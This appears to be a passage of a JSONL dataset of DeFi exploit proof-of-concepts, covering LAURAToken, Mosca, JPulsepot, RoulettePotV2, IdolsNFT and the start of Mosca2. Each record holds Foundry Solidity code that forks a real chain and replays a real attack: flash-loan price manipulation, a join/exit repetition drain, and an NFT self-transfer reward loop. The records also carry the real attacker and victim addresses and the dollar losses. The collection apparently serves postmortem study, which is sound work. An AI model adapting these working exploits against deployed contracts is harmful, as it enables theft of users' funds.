https://etherscan.io/address/0x55877cf2f24286dba2acb64311beca39728fbd10\n// Vulnerable Contract : https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e89\n// Attack Tx : https://etherscan.io/tx/0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf420\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant pairLAURA_WETH = 0xb292678438245Ec863F9FEa64AFfcEA887144240;\naddress constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\nuint256 constant LOAN_AMOUNT = 30000 ether;\n\n// This amount is used when calling `swapExactTokensForTokensSupportingFeeOnTransferTokens` and `addLiquidity` \n// from the uniV2Router\n// It is enough so that when the `removeLiquidityWhenKIncreases` function of the LAURA contract is called,\n// the LAURA balance of the WETH/LAURA pair will go down enough to be able to steal all the WETH from the pair\nuint256 constant MAGIC_NUMBER = 11526249223479392795400;\n\ncontract LAURAToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21_529_888 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC0 attC0 = new AttackerC0();\n\n console.log(\"Final balance in ETH :\", address(attC0).balance);\n }\n}\n\ncontract AttackerC0 {\n constructor () {\n AttackerC1 attC1 = new AttackerC1(); // L01\n\n attC1.attack();// L04\n }\n\n receive() external payable {}\n}\n\ncontract AttackerC1 {\n constructor () {\n IFS(weth).approve(uniV2Router, type(uint256).max); // L02\n }\n\n function attack() external {\n address LAURA = IFS(pairLAURA_WETH).token0(); // L5\n // IFS(pairLAURA_WETH).token0(); // L6\n IFS(LAURA).approve(uniV2Router, type(uint256).max); // L7\n \n // L10\n address[] memory tokens = new address[](1);\n tokens[0] = weth;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = LOAN_AMOUNT;\n IFS(balancerVault).flashLoan(\n address(this),\n tokens,\n amounts,\n hex'000000000000000000000000b292678438245ec863f9fea64affcea887144240' // pairLAURA_WETH\n );\n\n uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L112\n\n IFS(weth).withdraw(bal0); // L113\n\n (bool success,) = msg.sender.call{value: bal0}(\"\"); // L116\n require(success, \"Not success\");\n }\n\n function receiveFlashLoan(\n IERC20[] memory,\n uint256[] memory,\n uint256[] memory,\n bytes memory\n ) external {\n address LAURA = IFS(pairLAURA_WETH).token0(); // L16\n //address weth = pairLAURA_WETH.token1(); // L17\n uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L18\n uint256 bal1 = IERC20(weth).balanceOf(pairLAURA_WETH); // L19\n\n // L20\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = LAURA;\n IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MAGIC_NUMBER, // amountIn\n 0, // amountOutMin\n path, // path\n address(this), // to\n type(uint256).max\n );\n \n uint256 bal2 = IERC20(LAURA).balanceOf(address(this)); // L38\n \n IFS(uniV2Router).addLiquidity( // L40\n LAURA,\n weth,\n bal2,\n MAGIC_NUMBER,\n 0,\n 0,\n address(this),\n type(uint256).max\n );\n\n IFS(LAURA).removeLiquidityWhenKIncreases(); // L57\n IFS(pairLAURA_WETH).approve(uniV2Router, type(uint256).max); // L66\n uint256 bal3 = IERC20(pairLAURA_WETH).balanceOf(address(this)); // L68\n\n IFS(uniV2Router).removeLiquidity( // L69\n LAURA,\n weth,\n bal3,\n 0,\n 0,\n address(this),\n type(uint256).max\n );\n\n uint256 bal4 = IERC20(LAURA).balanceOf(address(this)); // L88\n\n // L90\n path[0] = LAURA;\n path[1] = weth;\n IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bal4,\n 0,\n path,\n address(this),\n type(uint256).max\n );\n IFS(weth).transfer(balancerVault, LOAN_AMOUNT); // L108\n }\n\n receive() external payable {}\n}\n\ninterface IFS is IERC20 {\n // LAURA\n function removeLiquidityWhenKIncreases() external;\n\n // WETH\n function withdraw(\n uint256 wad\n ) external;\n\n // UniswapV2Pair\n function token0() external view returns (address);\n function token1() external view returns (address);\n\n // BalancerVault\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n\n // IUniswapV2Router02\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to,\n uint256 deadline\n ) external;\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n}\n\n", "type": "exploit_poc", "protocol": "LAURAToken", "date": "2025-01", "file_name": "LAURAToken_exp.sol", "attack_vector": "flash_loan", "content_hash": "429e0ac30146375b", "collected_at": "2026-01-07T10:59:16.544074", "_source": "postmortems", "chain": "ethereum", "block_number": 21529888, "total_lost_raw": "12.340357077284305206 ETH (~$41.2K USD)", "total_lost_usd": 12.340357077284306, "attacker_address": "https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a36", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e89", "attack_tx": "https://etherscan.io/tx/0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf420", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "12.340357077284305206 ETH (~$41.2K USD)", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC0 attC0 = new AttackerC0();\n\n console.log(\"Final balance in ETH :\", address(attC0).balance);\n }\n}\n\ncontract AttackerC0 {\n constructor () {\n AttackerC1 attC1 = new AttackerC1(); // L01\n\n attC1.attack();// L04\n }\n\n receive() external payable {}\n}\n\ncontract AttackerC1 {\n constructor () {\n IFS(weth).approve(uniV2Router, type(uint256).max); // L02\n }", "has_exploit_code": true, "keyinfo_total_lost": "12.340357077284305206 ETH (~$41.2K USD)", "keyinfo_attacker": "https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a36", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e89", "keyinfo_attack_tx": "https://etherscan.io/tx/0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf420", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$12", "content_richness_score": 10, "quality_estimate": "high", "title": "LAURAToken Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 19K\n// Attacker : https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5\n// Attack Contract : https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a\n// Vulnerable Contract : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d\n// Attack Tx : https://bscscan.com/tx/0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : \n// Hacking God : \npragma solidity ^0.8.0;\n\nimport \"../interface.sol\";\n\ninterface IMosca {\n function join(uint256 amount, uint256 _refCode, uint8 fiat, bool enterpriseJoin) external;\n function buy(uint256 amount, bool buyFiat, uint8 fiat) external;\n function exitProgram() external;\n}\n\n\ncontract Mosca is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 45_519_929;\n\n address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;\n address internal constant MOSCA = 0x1962b3356122d6A56f978e112d14f5E23a25037D;\n address internal constant PancakePool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\n\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n deal(USDC, address(this), 30_000_000_000_000_000_000);\n fundingToken = address(USDC);\n }\n\n function testExploit() public balanceLog {\n IERC20(USDC).approve(MOSCA, type(uint256).max);\n\n uint256 amount = 30_000_000_000_000_000_000;\n uint256 refCode = 0;\n uint8 fiat = 2;\n bool enterpriseJoin = false;\n IMosca(MOSCA).join(amount, refCode, fiat, enterpriseJoin);\n\n address recipient = address(this);\n uint256 amount0 = 0;\n uint256 amount1 = 1_000_000_000_000_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakePool).flash(recipient, amount0, amount1, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {\n (uint256 amount) = abi.decode(data, (uint256));\n IMosca(MOSCA).buy(amount, true, 2);\n IMosca(MOSCA).exitProgram();\n \n uint256 joinAmount = 30_000_000_000_000_000_000;\n \n for(uint256 i=0;i<20;i++) {\n IMosca(MOSCA).join(joinAmount, 0, 2, false);\n IMosca(MOSCA).exitProgram();\n }\n\n IERC20(USDC).transfer(msg.sender, amount+fee1);\n }\n}\n", "type": "exploit_poc", "protocol": "Mosca", "date": "2025-01", "file_name": "Mosca_exp.sol", "attack_vector": null, "content_hash": "9cd71db65e02d1b1", "collected_at": "2026-01-07T10:59:16.544137", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "19K", "total_lost_usd": 19000.0, "attacker_address": "https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5", "attack_contract": "https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a", "vulnerable_contract": "https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d", "attack_tx": "https://bscscan.com/tx/0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "19K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n IERC20(USDC).approve(MOSCA, type(uint256).max);\n\n uint256 amount = 30_000_000_000_000_000_000;\n uint256 refCode = 0;\n uint8 fiat = 2;\n bool enterpriseJoin = false;\n IMosca(MOSCA).join(amount, refCode, fiat, enterpriseJoin);\n\n address recipient = address(this);\n uint256 amount0 = 0;\n uint256 amount1 = 1_000_000_000_000_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakePool).flash(recipient, amount0, amount1, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "19K", "keyinfo_attacker": "https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5", "keyinfo_attack_contract": "https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d", "keyinfo_attack_tx": "https://bscscan.com/tx/0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$19.0K", "content_richness_score": 7.3, "quality_estimate": "medium", "title": "Mosca Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 21.5K\n// Attacker : https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8\n// Attack Contract : https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7\n// Vulnerable Contract : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e\n// Attack Tx : https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : https://x.com/CertiKAlert/status/1877662352834793639\n// Hacking God : \npragma solidity ^0.8.0;\n\nimport \"../interface.sol\";\n\ninterface IFortuneWheel {\n function swapProfitFees() external;\n}\n\ncontract JPulsepot is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 45_640_245;\n address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;\n address internal constant BNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;\n address internal constant victim = 0x384b9fb6E42dab87F3023D87ea1575499A69998E;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(BNB);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n address recipient = address(this);\n uint256 amount0 = 0;\n uint256 amount1 = 4_300_000_000_000_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {\n uint256 amount = abi.decode(data, (uint256));\n\n IERC20(BNB).approve(PancakeV2Router, type(uint256).max);\n\n uint256 amountIn = amount;\n uint256 amonutOutMin = 0;\n address[] memory path = new address[](2);\n path[0] = BNB;\n path[1] = LINK;\n address recipient = address(this);\n uint256 deadline = block.timestamp;\n IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amonutOutMin, path, recipient, deadline);\n \n IFortuneWheel(victim).swapProfitFees();\n\n IERC20(LINK).approve(PancakeV2Router, type(uint256).max);\n\n amountIn = IERC20(LINK).balanceOf(address(this));\n path[0] = LINK;\n path[1] = BNB;\n IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, recipient, deadline);\n IERC20(BNB).transfer(msg.sender, amount+fee1);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "JPulsepot", "date": "2025-01", "file_name": "JPulsepot_exp.sol", "attack_vector": null, "content_hash": "673f41073d5ae68f", "collected_at": "2026-01-07T10:59:16.544188", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "21.5K", "total_lost_usd": 21500.0, "attacker_address": "https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8", "attack_contract": "https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7", "vulnerable_contract": "https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e", "attack_tx": "https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da", "postmortem_url": null, "twitter_url": "https://x.com/CertiKAlert/status/1877662352834793639", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "21.5K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n address recipient = address(this);\n uint256 amount0 = 0;\n uint256 amount1 = 4_300_000_000_000_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "21.5K", "keyinfo_attacker": "https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8", "keyinfo_attack_contract": "https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da", "analysis_postmortem": "", "analysis_twitter": "https://x.com/CertiKAlert/status/1877662352834793639", "funds_lost_formatted": "$21.5K", "content_richness_score": 7.55, "quality_estimate": "medium", "title": "JPulsepot Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~28K\n// Attacker : https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf80\n// Attack Contract : https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c133\n// Vulnerable Contract : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f\n// Attack Tx : https://bscscan.com/tx/0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : https://x.com/TenArmorAlert/status/1878008055717376068\n// Hacking God : \npragma solidity ^0.8.0;\n\nimport \"../interface.sol\";\n\ninterface IRoulettePotV2 {\n function finishRound() external;\n function swapProfitFees() external;\n}\n\ncontract RoulettePotV2 is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 45_668_285;\n address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;\n address internal constant PancakeSwap = 0x824eb9faDFb377394430d2744fa7C42916DE3eCe;\n address internal constant RoulettePotV2 = 0xf573748637E0576387289f1914627d716927F90f;\n address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(WBNB);\n }\n\n function testExploit() public balanceLog {\n address recipient = PancakeSwap;\n uint256 amount0 = 0;\n uint256 amount1 = 4_203_732_130_200_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {\n uint256 amount = abi.decode(data, (uint256));\n\n uint256 amount0Out = 0;\n uint256 amount1Out = 17_527_795_283_271_427_200_665;\n address to = address(this);\n IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));\n\n IRoulettePotV2(RoulettePotV2).finishRound();\n\n IRoulettePotV2(RoulettePotV2).swapProfitFees();\n\n uint256 balance = IERC20(LINK).balanceOf(address(this));\n IERC20(LINK).transfer(PancakeSwap, balance);\n\n amount0Out = 4_243_674_096_928_729_821_513;\n amount1Out = 0;\n IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));\n\n IERC20(WBNB).transfer(PancakeV3Pool, amount+fee1);\n }\n}\n", "type": "exploit_poc", "protocol": "RoulettePotV2", "date": "2025-01", "file_name": "RoulettePotV2_exp.sol", "attack_vector": null, "content_hash": "27848b9080f7f00f", "collected_at": "2026-01-07T10:59:16.544236", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~28K", "total_lost_usd": 28000.0, "attacker_address": "https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf80", "attack_contract": "https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c133", "vulnerable_contract": "https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f", "attack_tx": "https://bscscan.com/tx/0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1878008055717376068", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~28K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n address recipient = PancakeSwap;\n uint256 amount0 = 0;\n uint256 amount1 = 4_203_732_130_200_000_000_000;\n bytes memory data = abi.encode(amount1);\n IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~28K", "keyinfo_attacker": "https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf80", "keyinfo_attack_contract": "https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c133", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1878008055717376068", "funds_lost_formatted": "$28.0K", "content_richness_score": 7.41, "quality_estimate": "medium", "title": "RoulettePotV2 Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 97 stETH\n// Attacker : https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d101\n// Attack Contract : https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b16\n// Vulnerable Contract : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094\n// Attack Tx : https://etherscan.io/tx/0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094#code\n\n// @Analysis\n// Post-mortem : https://rekt.news/theidolsnft-rekt\n// Twitter Guy : https://x.com/TenArmorAlert/status/1879376744161132981\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant IDOLS_NFT = 0x439cac149B935AE1D726569800972E1669d17094;\naddress constant ATTACKER = 0xE546480138D50Bb841B204691C39cC514858d101;\naddress constant ATTACKER_2 = 0x8152970a81f558d171a22390E298B34Be8d40CF4;\naddress constant ST_ETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;\nuint256 constant TOKEN_ID = 940;\n\ncontract IdolsNFT is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 21624139 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = ST_ETH;\n }\n\n function testExploit() public balanceLog {\n address contractAddress = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));\n\n vm.prank(ATTACKER);\n IIDOLS(IDOLS_NFT).safeTransferFrom(ATTACKER, contractAddress, TOKEN_ID);\n\n new AttackContract();\n\n // This process repeated 15 times between block 21624128 and block 21626362\n // ref: https://etherscan.io/txs?a=0xe546480138d50bb841b204691c39cc514858d101&p=3\n }\n}\n\ncontract AttackContract {\n // Put code in the constructor will bypass the Address.isContract() check\n constructor() {\n for (uint256 i = 0; i < 2000; i++) {\n uint256 totalRewards = IIDOLS(IDOLS_NFT).allocatedStethRewards();\n uint256 rewardPerGod = IIDOLS(IDOLS_NFT).rewardPerGod();\n if (rewardPerGod > totalRewards) {\n break;\n }\n // Transferring an NFT gives rewards to both sender and receiver.\n // Using safeTransferFrom with same sender/receiver exploits this to earn rewards\n // without actually losing the NFT token\n IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), address(this), TOKEN_ID);\n }\n\n // Transfer all stETH and NFT token back to attacker\n uint256 stEthAmount = IERC20(ST_ETH).balanceOf(address(this));\n IERC20(ST_ETH).transfer(msg.sender, stEthAmount);\n IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), ATTACKER, TOKEN_ID);\n IERC20(ST_ETH).approve(ATTACKER_2, type(uint256).max);\n IERC20(ST_ETH).approve(msg.sender, type(uint256).max);\n\n // Self-destruct the contract\n selfdestruct(payable(msg.sender));\n }\n}\n\ninterface IIDOLS is IERC721 {\n function allocatedStethRewards() external view returns (uint256);\n function rewardPerGod() external view returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "IdolsNFT", "date": "2025-01", "file_name": "IdolsNFT_exp.sol", "attack_vector": null, "content_hash": "52467dbf83596a5b", "collected_at": "2026-01-07T10:59:16.544285", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "97 stETH", "total_lost_usd": 97.0, "attacker_address": "https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d101", "attack_contract": "https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b16", "vulnerable_contract": "https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094", "attack_tx": "https://etherscan.io/tx/0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c", "postmortem_url": "https://rekt.news/theidolsnft-rekt", "twitter_url": "https://x.com/TenArmorAlert/status/1879376744161132981", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "97 stETH", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n address contractAddress = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));\n\n vm.prank(ATTACKER);\n IIDOLS(IDOLS_NFT).safeTransferFrom(ATTACKER, contractAddress, TOKEN_ID);\n\n new AttackContract();\n\n // This process repeated 15 times between block 21624128 and block 21626362\n // ref: https://etherscan.io/txs?a=0xe546480138d50bb841b204691c39cc514858d101&p=3\n }\n}\n\ncontract AttackContract {\n // Put code in the constructor will bypass the Address.isContract() check\n constructor() {\n for (uint256 i = 0; i < 2000; i++) {\n uint256 totalRewards = IIDOLS(IDOLS_NFT).allocatedStethRewards();\n uint256 rewardPerGod = IIDOLS(IDOLS_NFT).rewardPerGod();\n if (rewardPerGod > totalRewards) {\n break;\n }\n // Transferring an NFT gives rewards to both sender and receiver.\n // Using safeTransferFrom with same sender/receiver exploits this to earn rewards\n // without actually losing the NFT token\n IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), address(this), TOKEN_ID);\n }\n\n // Transfer all stETH and NFT token back to attacker\n uint256 stEthAmount = IERC20(ST_ETH).balanceOf(address(this));\n IERC20(ST_ETH).transfer(msg.sender, stEthAmount);\n IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), ATTACKER, TOKEN_ID);\n IERC20(ST_ETH).approve(ATTACKER_2, type(uint256).max);\n IERC20(ST_ETH).approve(msg.sender, type(uint256).max);\n\n // Self-destruct the contract\n selfdestruct(payable(msg.sender));\n }\n}\n\ninterface IIDOLS is IERC721 {", "has_exploit_code": true, "keyinfo_total_lost": "97 stETH", "keyinfo_attacker": "https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d101", "keyinfo_attack_contract": "https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b16", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094", "keyinfo_attack_tx": "https://etherscan.io/tx/0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c", "analysis_postmortem": "https://rekt.news/theidolsnft-rekt", "analysis_twitter": "https://x.com/TenArmorAlert/status/1879376744161132981", "funds_lost_formatted": "$97", "content_richness_score": 7.68, "quality_estimate": "medium", "title": "IdolsNFT Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 37.6K\n// Attacker : https://bscscan.com/address/0xe763da20e25103da8e6afa84b6297f87de557419\n// Attack Contract : https://bscscan.com/address/0xedcfa34e275120e7d18edbbb0a6171d8ad3ccf54\n// Vulnerable Contract : https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9\n// Attack Tx : https://bscscan.com/tx/0xf13d281d4aa95f1aca457bd17f2531581b0ce918c90905d65934c9e67f6ae0ec\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : \n// Hacking God : \npragma solidity ^0.8.0;\n\nimport \"../interface.sol\";\n\ninterface IDODO {\n function flashLoan(\n uint256 baseAmount,\n uint256 quoteAmount,\n address assetTo,\n bytes calldata data\n ) external;\n\n function _BASE_TOKEN_() external view returns (address);\n}\n\ninterface IMosca {\n function join(uint256 amount, uint256 _refCode, uint8 fiat, bool enterpriseJoin) external;\n function withdrawFiat(uint256 amount, bool isFiat, uint8 fiatToWithdraw) external;\n}\n\ncontract Mosca2 is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 45_722_243;\n address internal constant DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n address internal constant Mosca = 